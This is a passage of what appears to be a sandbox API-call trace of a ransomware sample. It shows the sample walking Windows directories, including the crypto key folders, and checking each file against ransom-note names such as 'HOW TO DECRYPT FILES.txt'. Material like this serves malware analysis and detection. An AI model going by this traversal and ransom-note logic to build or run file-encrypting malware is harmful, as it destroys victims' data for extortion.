ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xd5310, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", cAlternateFileName="HELP{9~1.H1Q")) returned 1 [0092.120] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0092.120] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q") returned -1 [0092.121] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q") returned 1 [0092.121] lstrcmpiA (lpString1="", lpString2="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q") returned -1 [0092.121] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.Lck") returned="Help_MValidator.Lck" [0092.121] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\" [0092.121] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\") returned="" [0092.121] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\HOW TO DECRYPT FILES.txt" [0092.121] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\how to decrypt files.txt")) returned 0x2020 [0092.121] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\", lpString2="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q" [0092.121] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO DECRYPT FILES.txt", cAlternateFileName="HOWTOD~1.TXT")) returned 1 [0092.121] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0092.121] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="HOW TO DECRYPT FILES.txt") returned -1 [0092.121] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="HOW TO DECRYPT FILES.txt") returned 0 [0092.122] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO DECRYPT FILES.txt", cAlternateFileName="HOWTOD~1.TXT")) returned 0 [0092.122] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0092.122] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xfff3ece0, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfff3ece0, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0092.122] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0092.122] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 0 [0092.122] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0092.122] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 0 [0092.122] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0092.122] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x730041, dwReserved1=0x690073, cFileName="Crypto", cAlternateFileName="")) returned 1 [0092.122] lstrcmpA (lpString1=".", lpString2="Crypto") returned -1 [0092.123] lstrcmpA (lpString1="..", lpString2="Crypto") returned -1 [0092.123] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\*.*") returned="*.*" [0092.123] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\", lpString2="Crypto" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto") returned="C:\\Users\\All Users\\Microsoft\\Crypto" [0092.123] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c0043, dwReserved1=0x650069, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.123] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.123] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x650000, cFileName="..", cAlternateFileName="")) returned 1 [0092.123] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.123] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.123] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="DSS", cAlternateFileName="")) returned 1 [0092.123] lstrcmpA (lpString1=".", lpString2="DSS") returned -1 [0092.123] lstrcmpA (lpString1="..", lpString2="DSS") returned -1 [0092.123] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Crypto\\*.*") returned="*.*" [0092.124] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\", lpString2="DSS" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS" [0092.124] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.124] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.124] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.124] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.124] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.124] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1 [0092.124] lstrcmpA (lpString1=".", lpString2="MachineKeys") returned -1 [0092.124] lstrcmpA (lpString1="..", lpString2="MachineKeys") returned -1 [0092.124] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\*.*") returned="*.*" [0092.124] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\", lpString2="MachineKeys" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys" [0092.125] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.125] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.125] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.125] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.125] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.125] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.125] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0092.125] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 0 [0092.126] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0092.126] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x530044, dwReserved1=0x53, cFileName="Keys", cAlternateFileName="")) returned 1 [0092.126] lstrcmpA (lpString1=".", lpString2="Keys") returned -1 [0092.126] lstrcmpA (lpString1="..", lpString2="Keys") returned -1 [0092.126] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Crypto\\*.*") returned="*.*" [0092.126] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\", lpString2="Keys" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys" [0092.126] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x61004d, dwReserved1=0x680063, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.126] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.127] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x680000, cFileName="..", cAlternateFileName="")) returned 1 [0092.127] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.127] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.127] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x680000, cFileName="..", cAlternateFileName="")) returned 0 [0092.127] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0092.127] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x65004b, dwReserved1=0x730079, cFileName="RSA", cAlternateFileName="")) returned 1 [0092.127] lstrcmpA (lpString1=".", lpString2="RSA") returned -1 [0092.127] lstrcmpA (lpString1="..", lpString2="RSA") returned -1 [0092.127] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Crypto\\*.*") returned="*.*" [0092.127] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\", lpString2="RSA" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA" [0092.127] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.128] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.128] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.128] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.128] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.128] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1 [0092.128] lstrcmpA (lpString1=".", lpString2="MachineKeys") returned -1 [0092.128] lstrcmpA (lpString1="..", lpString2="MachineKeys") returned -1 [0092.128] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\*.*") returned="*.*" [0092.128] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\", lpString2="MachineKeys" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys" [0092.128] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.129] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.129] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.129] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.129] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.129] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.129] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0092.129] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xfff64e40, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfff64e40, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x61004d, dwReserved1=0x680063, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0092.129] lstrcmpA (lpString1=".", lpString2="S-1-5-18") returned -1 [0092.129] lstrcmpA (lpString1="..", lpString2="S-1-5-18") returned -1 [0092.129] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\*.*") returned="*.*" [0092.129] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\", lpString2="S-1-5-18" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18" [0092.130] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xfff64e40, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfff64e40, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.130] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.130] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xfff64e40, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfff64e40, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.130] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.130] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.130] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xfc767af0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xfc767af0, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc767af0, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="6D14E4~1")) returned 1 [0092.130] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.130] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 1 [0092.130] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", 